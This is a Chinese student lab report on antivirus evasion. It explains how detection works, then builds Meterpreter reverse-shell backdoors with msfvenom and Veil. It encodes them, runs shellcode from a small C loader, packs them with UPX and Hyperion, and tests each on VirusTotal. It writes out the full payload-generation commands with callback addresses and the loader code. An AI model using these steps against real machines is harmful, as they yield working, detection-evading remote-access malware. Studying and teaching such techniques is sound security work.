一、恶意代码检测机制和免杀原理
-
1.恶意代码检测机制
- 1.1 基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- 1.2 启发式恶意软件检测
- “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 1.3 基于行为的恶意软件检测
- 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
- 1.1 基于特征码的检测
- 2、免杀是做什么?
- 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
- 3、免杀的基本方法有哪些?
-
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
-
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
-
二、实践总结与体会
- 本次实验实际操作了很多尝试避免杀毒软件检测的方法,虽然大多没有什么用,但也让我认识到了现在网络安全的严峻形势,花样繁多的免杀方法,日新月异的新式病毒,使得我们几乎生活在透明的网络中,后门窃取摄像头等更是让人不寒而栗。
三、开启杀软能绝对防止电脑中恶意代码吗?
- 答案当然是否定的,杀软不可能绝对防止电脑中恶意代码,杀软作为一个面的防御是需要不断完善的,而恶意代码只需要针对杀软的一点漏洞进行攻击即可,没有绝对安全的防御。
四、实验报告:
- 1、实验内容:
-
1.1 方法(3分)
- 正确使用msf编码器(0.5分),
- msfvenom生成如jar之类的其他文件(0.5分),
- veil(0.5分),
- 加壳工具(0.5分),
- 使用C + shellcode编程(0.5分),
- 使用其他课堂未介绍方法(0.5分)
- 1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
-
1.任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 1.1 使用msf编码器,生成exe文件
- 在实验二中使用msf生成了后门程序
backdoor.exe
,为了方便检测起见我将数字部分去掉。然后使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描 - 用VirusTotal扫描后结果如下:
- (可以看到结果非常的意外,居然有几款杀软连没有经过任何处理的后门软件都检测不出来,小本本记下来,卸载卸载)
- Virscan(不知道为什么,能够打开页面却无法上传软件,所以均只有Virus Total的测试结果):https://www.virscan.org/language/zh-cn/
- VirusTotal:https://www.virustotal.com/gui/home/upload
- 在实验二中使用msf生成了后门程序
-
通过VirusTotal的扫描结果我们知道不加任何处理的后门程序能够被大多数杀软检测到(所以检测不到的几款推荐卸载),下面我们使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
- 编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.3.26 LPORT=5215 -f exe > encoded1.exe
- 生成过程截图:
- 使用VirusTotal检测截图:
可见编码对于免杀没有太大的帮助,主要有两点原因:
- shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。
- msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征。
- 编码
- 2.1msfvenom生成jar文件
- 生成java后门程序:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.224 LPORT=5232 x> shn_java.jar
- 生成过程截图
- 使用VirusTotal检测截图
2.2mfsvenom生成py文件
- 生成java后门程序:
- 生成py后门程序使用命令
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.2.224 LPORT=5232 x> shn_python.py
- 生成过程截图
- 使用VirusTotal检测截图
-
3.使用veil-evasion生成后门程序及检测
- 安装好veil
- 然后输入
veil
指令,进入veil控制面板 - 输入
use evasion
命令进入veil-evasion - 输入
use c/meterpreter/rev_tcp.py
进入配置界面 - 设置反弹连接IP:
set LHOST 192.168.2.224
(此处为KaliIP),端口:set LPORT 5232
- 输入
generate
生成文件,接着输入你想要payload的名字20175232_eva.exe
,如图所示,文件保存路径为:/var/lib/veil/output/compiled/20175232_eva.exe
- 使用VirusTotal检测截图:
-
-
4.使用shellcode编程
-
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.224 LPORT=5232 -f c
生成一段shellcode。 -
创建一个文件
20175232.c
,然后将unsigned char buf[]
赋值到其中,代码如下:unsigned char buf[] = (生成的shellcode); int main() { int (*func)() = (int(*)())buf; func(); }
- 输入
i686-w64-mingw32-g++ 20175232.c -o 20175232_C+S.exe
,将此文件编译为可执行文件。 - 在VirusTotal检测截图
- 当想要使用windows上执行该程序时,被 McAfee直接删除。。。
-
-
-
5.加壳工具
-
使用压缩壳:UPX
- 给之前的20175232.exe加个壳得到20175232_bx.exe
- 为了避免被再次删除,关掉实时扫描。
- 测试反弹连接:
- 使用VirusTotal检测截图:
-
使用加密壳:Hyperion
在/usr/share/windows-binaries/中找到Hyperion(因为权限问题,我把Hyperion拷入实验的文件夹中。)
-
- 便于操作,组合压缩壳与加密壳,得到20175232_gk.exe
- 使用VirusTotal检测截图:
- 可以看出,单一的操作对于免杀没有什么实质性的帮助,出了个别本身比较弱的杀毒软件(推荐卸载,换一个要不了多久)
-
通过组合应用各种技术实现恶意代码免杀
我们可以使用
msfvenom -l encoders
查看可以使用的编码器来生成不同的后门 - 实验中遇到的问题:veil安装时github clone始终无法成功:解决方案,换源至gitee.com